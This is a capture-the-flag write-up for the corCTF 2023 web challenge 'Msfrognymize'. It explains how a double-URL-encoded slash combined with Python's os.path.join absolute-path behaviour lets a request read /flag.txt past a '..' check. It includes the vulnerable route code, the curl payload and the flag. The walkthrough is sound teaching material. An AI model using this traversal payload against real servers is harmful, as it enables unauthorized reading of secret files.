corCTF 2023 - Msfrognymize
- Author: jazzpizazz
- Date:
Msfrognymize
This challenge was meant as a baby level web challenge. The user can upload a jpeg image and any faces are replaced by the infamous msfrog emoji. During testing I found out that it works particularly well with stock photos leading to gems like this one:
The idea is that people can safely share any pictures as their faces get anonymized. As an extra security measure, EXIF data is encrypted using a secret key, which is loaded from /flag.txt
1 ENCRYPTION_KEY = open("/flag.txt", "rb").readline()
The app has just two routes: /
for the upload form and /anonymized/<image_file>
for serving the anonymized pictures. The code for this route looks like this:
1@app.route('/anonymized/<image_file>')
2def serve_image(image_file):
3 file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file))
4 if ".." in file_path or not os.path.exists(file_path):
5 return f"Image {file_path} cannot be found.", 404
6 return send_file(file_path, mimetype='image/png')
Normally we would not be able to add any slashes in our URL as that would cause it to not match our route. But because of the call to unquote
which URL decodes our variable, we are able to smuggle in slashes. For instance /anonymized/some/folder
will not match the route, but /anonymized/some%252Ffolder
will match the route, and thus execute the serve_image
function.
Notice how the slash is URL encoded twice:
/
→ %2F
and then %2F
→ %252F
this is required as flask will URL decode once, before matching the route.
Going back to the /anonymized/some%252Ffolder
example we get the following scenario:
1>>> import os
2>>> file_path = os.path.join('uploads/', 'some/folder')
3>>> file_path
4'uploads/some/folder'
file_path
is passed to send_file
directly, so if we can somehow traverse up, we could serve the flag from /flag.txt
. Normally we would just do the following:
1>>> file_path = os.path.join('uploads/', '../../../../flag.txt')
2>>> file_path
3'uploads/../../../../flag.txt'
But the following piece of code prevents us from doing that:
1if ".." in file_path or not os.path.exists(file_path):
2 return f"Image {file_path} cannot be found.", 404
There is however a funny quirk in os.path.join
that allows us to traverse all the way up to the filesystem root without any ..
characters. It is described in the Python documentation:
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
This basically means that:
1>>> file_path = os.path.join('uploads/', '/flag.txt')
2>>> file_path
3'/flag.txt'
So to solve the challenge, all we need to to is smuggle in a slash using double URL encoding, followed by flag.txt:
1$ curl https://msfrognymize.be.ax/anonymized/%252Fflag.txt
2corctf{Fr0m_Priv4cy_t0_LFI}
The flag is:
corctf{Fr0m_Priv4cy_t0_LFI}